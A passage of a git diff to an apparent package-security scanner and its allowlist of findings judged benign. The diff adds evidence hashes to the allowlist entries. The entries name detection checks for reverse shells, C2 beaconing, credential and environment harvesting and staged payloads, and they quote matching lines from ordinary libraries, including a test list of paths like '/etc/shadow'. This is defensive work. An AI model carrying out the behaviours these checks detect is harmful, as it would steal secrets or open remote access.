) except (KeyError, TypeError): continue + if legacy: + print( + f" [WARN] baseline {path}: {legacy} entries lack evidence_hash and may " + f"not suppress until regenerated with --write-baseline (findings reopen " + f"rather than risk hiding changed code under a coarse key)", + file = sys.stderr, + ) return keys def _write_baseline(path: str, findings: list[Finding]) -> None: """Persist CRITICAL/HIGH findings as an allowlist for human triage.""" entries = [] - seen: set[tuple[str, str, str]] = set() + seen: set[tuple[str, str, str, str]] = set() for f in sorted(findings, key = lambda f: SEVERITY_ORDER.get(f.severity, 99)): if f.severity not in (CRITICAL, HIGH): continue @@ -2591,15 +3035,18 @@ def _write_baseline(path: str, findings: list[Finding]) -> None: "file": _relpath_in_package(f.filename), "check": f.check, "severity": f.severity, - "evidence": f.evidence[:240], + "evidence": f.evidence, + "evidence_hash": _evidence_hash(f.evidence), } ) doc = { "_comment": ( "scan_packages.py allowlist. Each entry is a CRITICAL/HIGH finding " "manually judged benign. Matched on (package, package-relative file, " - "check); evidence/severity are for review only. Regenerate with " - "--write-baseline AFTER reviewing every line." + "check, evidence_hash); evidence_hash is over the matched code with " + "L: markers stripped, so version bumps and line shifts do not " + "reopen an entry but changed code does. severity and evidence are for " + "review only. Regenerate with --write-baseline AFTER reviewing every line." ), "version": 1, "entries": entries, @@ -2611,7 +3058,7 @@ def _write_baseline(path: str, findings: list[Finding]) -> None: def _partition_baseline( - findings: list[Finding], baseline: set[tuple[str, str, str]] + findings: list[Finding], baseline: set[tuple[str, str, str, str]] ) -> tuple[list[Finding], list[Finding]]: """Split findings into (active, suppressed) by allowlist membership.""" if not baseline: diff --git a/scripts/scan_packages_baseline.json b/scripts/scan_packages_baseline.json index 0c10ae3222..046566d148 100644 --- a/scripts/scan_packages_baseline.json +++ b/scripts/scan_packages_baseline.json @@ -1,5 +1,5 @@ { - "_comment": "scan_packages.py allowlist. Each entry is a CRITICAL/HIGH finding manually judged benign. Matched on (package, package-relative file, check); evidence/severity are for review only. Regenerate with --write-baseline AFTER reviewing every line.", + "_comment": "scan_packages.py allowlist. Each entry is a CRITICAL/HIGH finding manually judged benign. Matched on (package, package-relative file, check, evidence_hash); evidence_hash is over the matched code with L: markers stripped, so version bumps and line shifts do not reopen an entry but changed code does. severity and evidence are for review only. Regenerate with --write-baseline AFTER reviewing every line.", "version": 1, "entries": [ { @@ -7,1302 +7,1488 @@ "file": "botocore/credentials.py", "check": "base64 decode + subprocess execution (staged payload)", "severity": "CRITICAL", - "evidence": "Base64: L2714: return EC.new_key_from_der_data(base64.b64decode(contents))\nSubprocess: L1072: def __init__(self, profile_name, load_config, popen=subprocess.Popen):" + "evidence": "Base64: L2714: return EC.new_key_from_der_data(base64.b64decode(contents))\nSubprocess: L1072: def __init__(self, profile_name, load_config, popen=subprocess.Popen):", + "evidence_hash": "1008baa37a26866b477be20db0b3e6ce451e22ff26ae1ed43e9a0a15b71c6be6" }, { "package": "botocore", "file": "botocore/httpsession.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L186: sslkeylogfile = os.environ.get(\"SSLKEYLOGFILE\")\nNetwork: L477: urllib_response = conn.urlopen(" + "evidence": "Env: L186: sslkeylogfile = os.environ.get(\"SSLKEYLOGFILE\")\nNetwork: L477: urllib_response = conn.urlopen(\nL478: method=request.method,\nL479: url=request_target,\nL480: body=request.body,\nL481: headers=request.headers,\nL482: retries=Retry(False),\nL483: assert_same_host=False,\nL484: preload_content=False,\nL485: decode_content=False,\nL486: chunked=self._chunked(request.headers),\nL487: )", + "evidence_hash": "84d1912211c26294d7648176ae495b21b906a262de767c7238c2dba5d4be852f" }, { "package": "botocore", "file": "botocore/utils.py", "check": "Accesses cloud metadata/IMDS AND makes network calls", "severity": "CRITICAL", - "evidence": "IMDS: L100: METADATA_BASE_URL = 'http://169.254.169.254/' | L560: error_msg=\"Unable to retrieve token for use in IMDSv2 call and IMDSv1 has been disabled\" | L3072: IP_ADDRESS = '169.254.170.2'\nNetwork: L32: from urllib.request import getpro" + "evidence": "IMDS: L100: METADATA_BASE_URL = 'http://169.254.169.254/' | L560: error_msg=\"Unable to retrieve token for use in IMDSv2 call and IMDSv1 has been disabled\" | L3072: IP_ADDRESS = '169.254.170.2' | L3075: '169.254.170.23',\nNetwork: L32: from urllib.request import getproxies, proxy_bypass", + "evidence_hash": "a827f57c1d53a4a6b76728785cf57d2396750ae0163a6abdf9617268146ccf66" }, { "package": "botocore", "file": "botocore/utils.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L417: env = os.environ.copy()\nNetwork: L32: from urllib.request import getproxies, proxy_bypass" + "evidence": "Env: L417: env = os.environ.copy()\nNetwork: L32: from urllib.request import getproxies, proxy_bypass", + "evidence_hash": "3554fe7787227ea6fe47adfe18dcf531e0f01bd7f02ac4d56e2b7587fa2b6c96" }, { "package": "botocore", "file": "botocore/utils.py", "check": "Reads credential paths AND makes network calls", "severity": "CRITICAL", - "evidence": "Creds: L3551: CACHE_DIR = os.path.expanduser(os.path.join('~', '.aws', 'boto', 'cache')) | L3721: return os.path.expanduser(os.path.join('~', '.aws', 'login', 'cache'))\nNetwork: L32: from urllib.request import getproxies, proxy_bypass" + "evidence": "Creds: L3551: CACHE_DIR = os.path.expanduser(os.path.join('~', '.aws', 'boto', 'cache')) | L3721: return os.path.expanduser(os.path.join('~', '.aws', 'login', 'cache'))\nNetwork: L32: from urllib.request import getproxies, proxy_bypass", + "evidence_hash": "2d691bc373ab872aad23c744104596ba6d0d9f3b35aa101c7edbff4429b174c1" }, { "package": "click", "file": "click/testing.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L91: os.dup2(self._tmpfile.fileno(), self._targetfd) | L95: os.dup2(self.saved_fd, self._targetfd)" + "evidence": "L103: os.dup2(self._tmpfile.fileno(), self._targetfd) | L107: os.dup2(self.saved_fd, self._targetfd)", + "evidence_hash": "7cfc260cd91d7ee7e65aaf0551f115d03593422b6dfcb3761fd74d18affec2e1" }, { "package": "datasets", "file": "datasets/utils/file_utils.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L441: while True:" + "evidence": "L443: while True: sha256:feba37d77721aa658e1786d2e4b67de76fefe1ceeb3ce8529d361c5241778eea", + "evidence_hash": "2e458563dec752d0a9896c9685d368d9906867110db315ab751e3eb6ec63f51c" + }, + { + "package": "datasets", + "file": "datasets/utils/file_utils.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L441: while True: sha256:ce92e38c17c524815e1f9055be77235028c1e68e41b45cbfe9c8f1b867a205da", + "evidence_hash": "cb36281d28a975d101121c0702ee05eeee470879520d39a8be552129333f514d" }, { "package": "diffusers", "file": "diffusers/utils/import_utils.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L1015: return importlib.import_module(\".\" + module_name, self.__name__)" + "evidence": "L1015: return importlib.import_module(\".\" + module_name, self.__name__)", + "evidence_hash": "e584ecfdb097d9482bb19cd3992813bc1a119cfd4c40af14748bafe22900d91e" }, { "package": "diffusers", "file": "diffusers/utils/testing_utils.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L233: value = os.environ[key]\nNetwork: L688: response = requests.get(arry, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L709: response = requests.get(url, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L728: image = PIL.Image.open(requests.get(image, st" + "evidence": "Env: L233: value = os.environ[key]\nNetwork: L688: response = requests.get(arry, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L709: response = requests.get(url, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L728: image = PIL.Image.open(requests.get(image, stream=True, timeout=DIFFUSERS_REQUEST_TIMEOUT).raw)", + "evidence_hash": "671190a6106c6ee9674e5e5942dc0940e1d2f8c78d5faf674413c2345b783fd9" }, { "package": "dill", "file": "dill/_objects.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", - "evidence": "Archive: L317: a['TarFileType'] = tarfile.open(fileobj=_fileW,mode='w')\nNetwork: L330: x['SocketType'] = _socket = socket.socket()" - }, - { - "package": "execnet", - "file": "execnet/gateway_base.py", - "check": "Reverse shell / bind shell pattern", - "severity": "CRITICAL", - "evidence": "L1783: os.dup2(fd, 0) | L1789: os.dup2(fd, 1) | L1794: os.dup2(fd, 2)" - }, - { - "package": "fastapi", - "file": "fastapi/routing.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L579: while True:" + "evidence": "Archive: L317: a['TarFileType'] = tarfile.open(fileobj=_fileW,mode='w')\nNetwork: L330: x['SocketType'] = _socket = socket.socket()", + "evidence_hash": "894862e547cf91b90cd6e4b495db3fb05b7490ef0d63de7e795a7e3d9447d850" }, { "package": "fastmcp-slim", "file": "fastmcp/cli/apps_dev.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", - "evidence": "Archive: L1340: with tarfile.open(fileobj=io.BytesIO(data), mode=\"r:gz\") as tar:\nNetwork: L1291: with httpx.Client(timeout=30.0) as client: | L1305: with httpx.Client(timeout=30.0) as client: | L1335: with httpx.Client(timeout=30.0) as clie" + "evidence": "Archive: L1340: with tarfile.open(fileobj=io.BytesIO(data), mode=\"r:gz\") as tar:\nNetwork: L1291: with httpx.Client(timeout=30.0) as client: | L1305: with httpx.Client(timeout=30.0) as client: | L1335: with httpx.Client(timeout=30.0) as client: | L1537: client = httpx.AsyncClient(\nL1538: timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1539: ) | L1701: async with httpx.AsyncClient(trust_env=False) as client: | L1769: with socket.socket(family, socket.SOCK_STREAM) as s:", + "evidence_hash": "73a7a72013e9f800627ea07e6dbc3beeb8c905a6a5480c8fd896f0063173d25c" }, { "package": "fastmcp-slim", "file": "fastmcp/cli/apps_dev.py", "check": "Enumerates filesystem AND makes network calls", "severity": "CRITICAL", - "evidence": "FS: L624: history.replaceState(null, \"\", url);\nNetwork: L1291: with httpx.Client(timeout=30.0) as client: | L1305: with httpx.Client(timeout=30.0) as client: | L1335: with httpx.Client(timeout=30.0) as client:" + "evidence": "FS: L624: history.replaceState(null, \"\", url); sha256:fd8dbfa8af4dea2ce43f4d441f3f81239de341b76a2eb0a33c446f6757ce5f43\nNetwork: L1291: with httpx.Client(timeout=30.0) as client: | L1305: with httpx.Client(timeout=30.0) as client: | L1335: with httpx.Client(timeout=30.0) as client: | L1537: client = httpx.AsyncClient(\nL1538: timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1539: ) | L1701: async with httpx.AsyncClient(trust_env=False) as client: | L1769: with socket.socket(family, socket.SOCK_STREAM) as s:", + "evidence_hash": "6ada4a9111213bdee5ea24c70a72ec4acdc8ffe0de4a01fd9835bc261ccab8f8" }, { "package": "fonttools", "file": "fontTools/diff/__init__.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L202: os.dup2(devnull, sys.stdout.fileno())" + "evidence": "L202: os.dup2(devnull, sys.stdout.fileno())", + "evidence_hash": "6ff12ba150358aa0b2756d60df29a7ac9c08e60d0a1ad42157fd30af6e7d50ee" }, { "package": "fonttools", "file": "fontTools/ttLib/ttFont.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L1420: __import__(\"fontTools.ttLib.tables.\" + pyTag)" + "evidence": "L1420: __import__(\"fontTools.ttLib.tables.\" + pyTag)", + "evidence_hash": "512ecbb7539ddfd5296f8ea2d132ef4000a71033fd444d8a7539f6936dc9ad01" }, { "package": "httpx", "file": "httpx/_models.py", "check": "Enumerates filesystem AND makes network calls", "severity": "CRITICAL", - "evidence": "FS: L528: history: list[Response] | None = None,\nNetwork: L9: import urllib.request | L1243: class _CookieCompatRequest(urllib.request.Request):" + "evidence": "FS: L528: history: list[Response] | None = None, sha256:f56272dccd651b2644aa41ef6e688e211462427aad07fef5150240ec7347446e\nNetwork: L9: import urllib.request | L1243: class _CookieCompatRequest(urllib.request.Request):", + "evidence_hash": "b32f79e58c938680d89efa74113eeba76c9fc5aedf5de18086f93bef274c4bda" }, { "package": "huggingface-hub", "file": "huggingface_hub/hf_api.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L4577: while True:" + "evidence": "L3746: while True: sha256:0c73ed1a7447120b112c063b14e720c6695bc11d00eb6b912cd0f10dc3e29b31", + "evidence_hash": "22f50b930e44146c5350bb99e6e6ebb09feea9bf1e899e407bedc4ffaf06721b" + }, + { + "package": "huggingface-hub", + "file": "huggingface_hub/hf_api.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L4600: while True: sha256:f4a851312a1832efe1b435aa1275a82184e19cc3f47e2cd244373d56c11de272", + "evidence_hash": "dc8fcf44788e32f42d1cc2eb0e2deb55eb2dbf2c3a55909a7d503e450f45e602" }, { "package": "huggingface-hub", "file": "huggingface_hub/hf_api.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L10852: o.addheaders = [(\"Authorization\", \"Bearer \" + os.environ[\"UV_SCRIPT_HF_TOKEN\"])]\nNetwork: L6504: resp = requests.post(path, headers=headers, json=body) | L10848: import urllib.request | L10851: o = urllib.request.build_opener()" + "evidence": "Env: L10852: o.addheaders = [(\"Authorization\", \"Bearer \" + os.environ[\"UV_SCRIPT_HF_TOKEN\"])]\nNetwork: L6504: resp = requests.post(path, headers=headers, json=body) | L10848: import urllib.request | L10851: o = urllib.request.build_opener()", + "evidence_hash": "7b22edf0aac33ec94f0fd986ace3e63e7ac7554ba4702dbb6fa099646958f5f4" }, { "package": "huggingface-hub", "file": "huggingface_hub/utils/_http.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L428: while True:" + "evidence": "L443: while True: sha256:0ab4fed32d3af10f361963371f681923481377508a405b5d8770cef75f859168", + "evidence_hash": "1484f6b92f41c427ba8cbc7c4695a94975fea683dfa83aa510b4b0e982be4721" + }, + { + "package": "huggingface-hub", + "file": "huggingface_hub/utils/_http.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L298: while True: sha256:6b8e5e569594caf7c4eca6137646dae471a7c3aae7294096cf876f30b5f90306", + "evidence_hash": "c066cc27bce31ee7b6ce07411ee7a7d9ecfbf3aafc8848f6641fabfe522a7703" }, { "package": "ipython", "file": "IPython/core/interactiveshell.py", "check": "Enumerates filesystem AND makes network calls", "severity": "CRITICAL", - "evidence": "FS: L78: from IPython.core.history import HistoryManager, HistoryOutput\nNetwork: L4048: from urllib.request import urlopen | L4049: response = urlopen(target)" + "evidence": "FS: L78: from IPython.core.history import HistoryManager, HistoryOutput sha256:b644ca2db22c393a1d3302e855a013215446f5aae5eceb7a9fdab4a6d0610b14\nNetwork: L4048: from urllib.request import urlopen | L4049: response = urlopen(target)", + "evidence_hash": "c332f54f5b94641a417958be0a9be7446f25c65dc007dedd3cb5f01d83076cb3" }, { "package": "ipython", "file": "IPython/terminal/pt_inputhooks/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L139: mod = importlib.import_module(\"IPython.terminal.pt_inputhooks.\" + gui_mod)" + "evidence": "L139: mod = importlib.import_module(\"IPython.terminal.pt_inputhooks.\" + gui_mod)", + "evidence_hash": "3b7a403abee4c5c817718802869e0f75f5bb4f479fba3cbed19f9cf32d926025" }, { "package": "ipython", "file": "IPython/utils/py3compat.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L57: exec(compiler(f.read(), fname, \"exec\"), glob, loc)" + "evidence": "L58: exec(compiler(f.read(), fname, \"exec\"), glob, loc)", + "evidence_hash": "f8dfef823b3380dbf7f4bb697998ddecc31b4b26b03e593c0f287c419b329d17" }, { "package": "jaraco-context", "file": "jaraco/context/__init__.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", - "evidence": "Archive: L106: with tarfile.open(fileobj=req, mode='r|*') as tf:\nNetwork: L15: import urllib.request | L105: req = urllib.request.urlopen(url)" + "evidence": "Archive: L106: with tarfile.open(fileobj=req, mode='r|*') as tf:\nNetwork: L15: import urllib.request | L105: req = urllib.request.urlopen(url)", + "evidence_hash": "4b7365cdf9279e002a67e13669a1596e5036a3d33eb88152236ff30d8093672c" }, { "package": "matplotlib", "file": "matplotlib/backends/backend_webagg.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L56: if not webbrowser.open(url):" + "evidence": "L56: if not webbrowser.open(url): sha256:c92ecd0cb3aa00166f26aa2017eb2201cc6050d58de2654ada01a1d392a5c97c", + "evidence_hash": "bf56dfffad9c8638feab6a8bd7d74da6abc78ff406663e97ff5ac18f30c2f583" }, { "package": "multiprocess", "file": "multiprocess/forkserver.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L5: import socket" - }, - { - "package": "multiprocess", - "file": "multiprocess/tests/__init__.py", - "check": "Reverse shell / bind shell pattern", - "severity": "CRITICAL", - "evidence": "L3355: os.dup2(conn.fileno(), i) | L3387: \"test needs os.dup2()\") | L3405: os.dup2(fd, newfd)" + "evidence": "L5: import socket sha256:915068303029fa5806199f256fb74504c65f253f9aee8ea23d8e384bb772b1c7", + "evidence_hash": "30be130f165f418dfd37b144c5ae333de184b95f828ab8bd4010a67b84a5f814" }, { "package": "numba", "file": "numba/pycc/decorators.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L44: exec(compile(fin.read(), ifile, 'exec'))" + "evidence": "L44: exec(compile(fin.read(), ifile, 'exec'))", + "evidence_hash": "9bfde86a0af7c9c81acd5334ebab3ba97c33d22c501295114fde0087b0be3f05" }, { "package": "numba", "file": "numba/tests/support.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L1021: os.dup2(w, fd) | L1026: os.dup2(save, fd)" + "evidence": "L1021: os.dup2(w, fd) | L1026: os.dup2(save, fd)", + "evidence_hash": "fea7aa03d48bf0f4386302fa444984c4f5dfc772cfec3f1df199fd33a52eec10" }, { "package": "numba", "file": "numba/tests/test_codegen.py", "check": "base64 decode + subprocess execution (staged payload)", "severity": "CRITICAL", - "evidence": "Base64: L127: state = pickle.loads(base64.b64decode(sys.argv[1]))\nSubprocess: L130: subprocess.check_call([sys.executable, '-c', code, arg.decode()])" + "evidence": "Base64: L127: state = pickle.loads(base64.b64decode(sys.argv[1]))\nSubprocess: L130: subprocess.check_call([sys.executable, '-c', code, arg.decode()])", + "evidence_hash": "e2e6436a0849b687046a00576836b0f5f048ecf6118f9d8e6d5558fefd0aa488" }, { "package": "numpy", "file": "numpy/f2py/capi_maps.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L159: d = eval(f.read().lower(), {}, {})" + "evidence": "L159: d = eval(f.read().lower(), {}, {})", + "evidence_hash": "70e3d1f82997b292e97bd3f8c3804181f575a7dce74cb2fa8e9fb1f0a119ab2f" }, { "package": "numpy", "file": "numpy/lib/tests/test__datasource.py", "check": "Enumerates filesystem AND makes network calls", "severity": "CRITICAL", - "evidence": "FS: L45: malicious_files = ['/etc/shadow', '../../shadow',\nNetwork: L2: import urllib.request as urllib_request" + "evidence": "FS: L45: malicious_files = ['/etc/shadow', '../../shadow',\nL46: '..\\\\system.dat', 'c:\\\\windows\\\\system.dat']\nNetwork: L2: import urllib.request as urllib_request", + "evidence_hash": "9aa30dfee01a520f20ab77de468feb0558bd9d95c6dd509146ffc48c8d4dc469" }, { "package": "openai", "file": "openai/_base_client.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L264: while True:" + "evidence": "L264: while True: sha256:95ca67e46d42354ae650abbdc5b0d97df8b0ed43187800bf40f5690c3901b94b", + "evidence_hash": "a57d8d15fed0bf04f9967dcc18a18b80bb19f4095675bccbb78ac0450d7fce14" }, { "package": "openai", "file": "openai/_client.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L174: api_key = os.environ.get(\"OPENAI_API_KEY\") | L184: admin_api_key = os.environ.get(\"OPENAI_ADMIN_KEY\") | L207: webhook_secret = os.environ.get(\"OPENAI_WEBHOOK_SECRET\")\nNetwork: L140: http_client: httpx.Client | None = None, | L521" + "evidence": "Env: L209: api_key = os.environ.get(\"OPENAI_API_KEY\") | L219: admin_api_key = os.environ.get(\"OPENAI_ADMIN_KEY\") | L243: webhook_secret = os.environ.get(\"OPENAI_WEBHOOK_SECRET\") | L805: api_key = os.environ.get(\"OPENAI_API_KEY\") | L815: admin_api_key = os.environ.get(\"OPENAI_ADMIN_KEY\") | L839: webhook_secret = os.environ.get(\"OPENAI_WEBHOOK_SECRET\")\nNetwork: L144: http_client: httpx.Client | None = None, | L586: http_client: httpx.Client | None = None, | L740: http_client: httpx.AsyncClient | None = None, | L1193: http_client: httpx.AsyncClient | None = None,", + "evidence_hash": "d806c1e5eedb1eba7e2d9e6f31f3cc59b1882c8e843dfa3f5eac1fe7abdf296d" }, { "package": "openai", "file": "openai/auth/_workload.py", "check": "Accesses cloud metadata/IMDS AND makes network calls", "severity": "CRITICAL", - "evidence": "IMDS: L96: url = \"http://169.254.169.254/metadata/identity/oauth2/token\" | L149: url = \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity\"\nNetwork: L77: http_client: httpx.Client | None = None, | " + "evidence": "IMDS: L96: url = \"http://169.254.169.254/metadata/identity/oauth2/token\" | L149: url = \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity\"\nNetwork: L77: http_client: httpx.Client | None = None, | L108: with httpx.Client() as client: | L133: http_client: httpx.Client | None = None, | L155: with httpx.Client() as client: | L248: with httpx.Client() as client:", + "evidence_hash": "1581d9f4a23393e9af23fbe5ef9f66807b22c5b5a3f1fe167254c9ebee108567" }, { "package": "openai", "file": "openai/lib/azure.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L213: api_key = os.environ.get(\"AZURE_OPENAI_API_KEY\") | L216: azure_ad_token = os.environ.get(\"AZURE_OPENAI_AD_TOKEN\") | L533: api_key = os.environ.get(\"AZURE_OPENAI_API_KEY\")\nNetwork: L36: _HttpxClientT = TypeVar(\"_HttpxClientT\", bou" + "evidence": "Env: L214: api_key = os.environ.get(\"AZURE_OPENAI_API_KEY\") | L217: azure_ad_token = os.environ.get(\"AZURE_OPENAI_AD_TOKEN\") | L538: api_key = os.environ.get(\"AZURE_OPENAI_API_KEY\") | L541: azure_ad_token = os.environ.get(\"AZURE_OPENAI_AD_TOKEN\")\nNetwork: L37: _HttpxClientT = TypeVar(\"_HttpxClientT\", bound=Union[httpx.Client, httpx.AsyncClient]) | L100: class AzureOpenAI(BaseAzureClient[httpx.Client, Stream[Any]], OpenAI): | L119: http_client: httpx.Client | None = None, | L141: http_client: httpx.Client | None = None, | L163: http_client: httpx.Client | None = None, | L189: http_client: httpx.Client | None = None, | L297: http_client: httpx.Client | None = None, | L421: class AsyncAzureOpenAI(BaseAzureClient[httpx.AsyncClient, AsyncStream[Any]], AsyncOpenAI): | L441: http_client: httpx.AsyncClient | None = None, | L464: http_client: httpx.AsyncClient | None = None, | L487: http_client: httpx.AsyncClient | None = None, | L513: http_client: httpx.AsyncClient | None = None, | L621: http_client: httpx.AsyncClient | None = None,", + "evidence_hash": "a81d958bdcc6c2e98290a6592a9d52f8fc44e6ce4ac983301840136464779923" }, { "package": "openai", "file": "openai/lib/bedrock.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L133: api_key = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\") | L308: api_key = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\")\nNetwork: L119: http_client: httpx.Client | None = None, | L203: http_client: httpx.Client | None = None, | L294: ht" + "evidence": "Env: L105: token = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\") | L150: environment_token = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\")\nNetwork: L415: http_client: httpx.Client | None = None, | L531: http_client: httpx.Client | None = None, | L649: http_client: httpx.AsyncClient | None = None, | L767: http_client: httpx.AsyncClient | None = None,", + "evidence_hash": "92dbec8ccd79c1e0bc41e93cdd0bdbb091220616c6a1352873196e9dda6bd85c" }, { "package": "openai", "file": "openai/resources/beta/threads/runs/runs.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L1074: while True:" + "evidence": "L1074: while True: sha256:ef6d59a4a10b73a5af491f10af2885b7a309fda9468eb0f9572d19558d3ceb9f", + "evidence_hash": "43c03b55fedcbc980e5e6649c3c4493729128d280cc868349ab9590908ea5f99" }, { "package": "openai", "file": "openai/resources/realtime/realtime.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L310: while True:" + "evidence": "L310: while True: sha256:458198ff3d3f05870bf98c9564cbfd68c739e57b9bbe4120ed81e3eb6af74a05", + "evidence_hash": "a3165d21e46b3ce553795daeae53e8f80e8e89c5cb228e68e6dcaff54bca5a89" }, { "package": "openai", "file": "openai/resources/responses/responses.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L3803: while True:" + "evidence": "L3803: while True: sha256:1ce0b5a388c747945cdfda1a71b77afdfd03ae840d7aa9fa62f02eb00aa5e29f", + "evidence_hash": "6de300ebb5e6e17cb51c89cbcdf08515a44655182f0776f0908a9d1043ebbcd7" }, { "package": "openai", "file": "openai/resources/vector_stores/file_batches.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L347: while True:" + "evidence": "L347: while True: sha256:604449e8ed433290252fe3f7a48a9e1d8ce46fa148b4ef3037042cc42fdb737b", + "evidence_hash": "e6c1e9bb40accffe2d597e875439bab405e51d9e53f1dad87fd276c0d4014981" }, { "package": "openai", "file": "openai/resources/vector_stores/files.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L376: while True:" + "evidence": "L376: while True: sha256:1bf8d6ef91d4043c98982fb19e5f5685b239a855cd4ff6c11b9b19651d43e944", + "evidence_hash": "8d26a3a0ab3d937e6d4f6873fa648c04afc59484122287bc96b1c022ede4065a" }, { "package": "openai", "file": "openai/resources/videos.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L186: while True:" + "evidence": "L186: while True: sha256:e48be2f193c22eb93024339b9c04fff5dd80c8318708012432df119aef612a41", + "evidence_hash": "f1764390bf5e4e55fdedc1f5ec492535f3dd4444f9fb17eb6ce9eaaa010d1a81" }, { "package": "protobuf", "file": "protobuf-3.19.6-nspkg.pth", "check": ".pth has advanced obfuscation (marshal/compile/zlib/__import__)", "severity": "CRITICAL", - "evidence": "L1: import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('google',));importlib = has_mfs and __import_..." + "evidence": "L1: import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('google',));importlib = has_mfs and __import__('importlib.util');has_mfs and __import sha256:233fd2c695435bb5ee9cc00f442153f9dc9901e8a352814c2d23dfd6da0fe70d", + "evidence_hash": "7675d9e6d5a180ae22e00fb0ca8adde65e63adc9751bc7d5bd337238b4ba584c" }, { "package": "ptyprocess", "file": "ptyprocess/_fork_pty.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L33: os.dup2(child_fd, STDIN_FILENO) | L34: os.dup2(child_fd, STDOUT_FILENO) | L35: os.dup2(child_fd, STDERR_FILENO)" + "evidence": "L33: os.dup2(child_fd, STDIN_FILENO) | L34: os.dup2(child_fd, STDOUT_FILENO) | L35: os.dup2(child_fd, STDERR_FILENO)", + "evidence_hash": "fd104d50945eb60182d81e988885ec927f3b3abc3758b78bece2cd9d65613926" }, { "package": "pyarrow", "file": "pyarrow/tests/conftest.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L210: env = os.environ.copy() | L241: env = os.environ.copy() | L267: env = os.environ.copy()\nNetwork: L24: import urllib.request | L203: resp = urllib.request.urlopen(f\"http://{address}/minio/health/live\")" + "evidence": "Env: L210: env = os.environ.copy() | L241: env = os.environ.copy() | L267: env = os.environ.copy()\nNetwork: L24: import urllib.request | L203: resp = urllib.request.urlopen(f\"http://{address}/minio/health/live\")", + "evidence_hash": "8819f266bbf0cb7cdd5a0a491b83b79fb5eefc132b77d2f4b080dfda8ac32514" }, { "package": "pyarrow", "file": "pyarrow/tests/test_extension_type.py", "check": "base64 decode + subprocess execution (staged payload)", "severity": "CRITICAL", - "evidence": "Base64: L1065: decoded_schema = base64.b64decode(meta.metadata[b\"ARROW:schema\"])\nSubprocess: L1350: subprocess.check_call([sys.executable, 'setup.py'," + "evidence": "Base64: L1065: decoded_schema = base64.b64decode(meta.metadata[b\"ARROW:schema\"])\nSubprocess: L1350: subprocess.check_call([sys.executable, 'setup.py',\nL1351: 'build_ext', '--inplace'],\nL1352: env=subprocess_env)", + "evidence_hash": "83d7a4cf32639e44b3a7923c5ca68bdf5488ffccf32bc0992821e45680a145a5" }, { "package": "pyarrow", "file": "pyarrow/tests/test_flight.py", "check": "base64 decode + subprocess execution (staged payload)", "severity": "CRITICAL", - "evidence": "Base64: L592: token = base64.b64decode(token) | L692: decoded = base64.b64decode(values[1])\nSubprocess: L2674: res = subprocess.run([sys.executable, \"-c\", code], env=env," + "evidence": "Base64: L592: token = base64.b64decode(token) | L692: decoded = base64.b64decode(values[1])\nSubprocess: L2674: res = subprocess.run([sys.executable, \"-c\", code], env=env,\nL2675: capture_output=True)", + "evidence_hash": 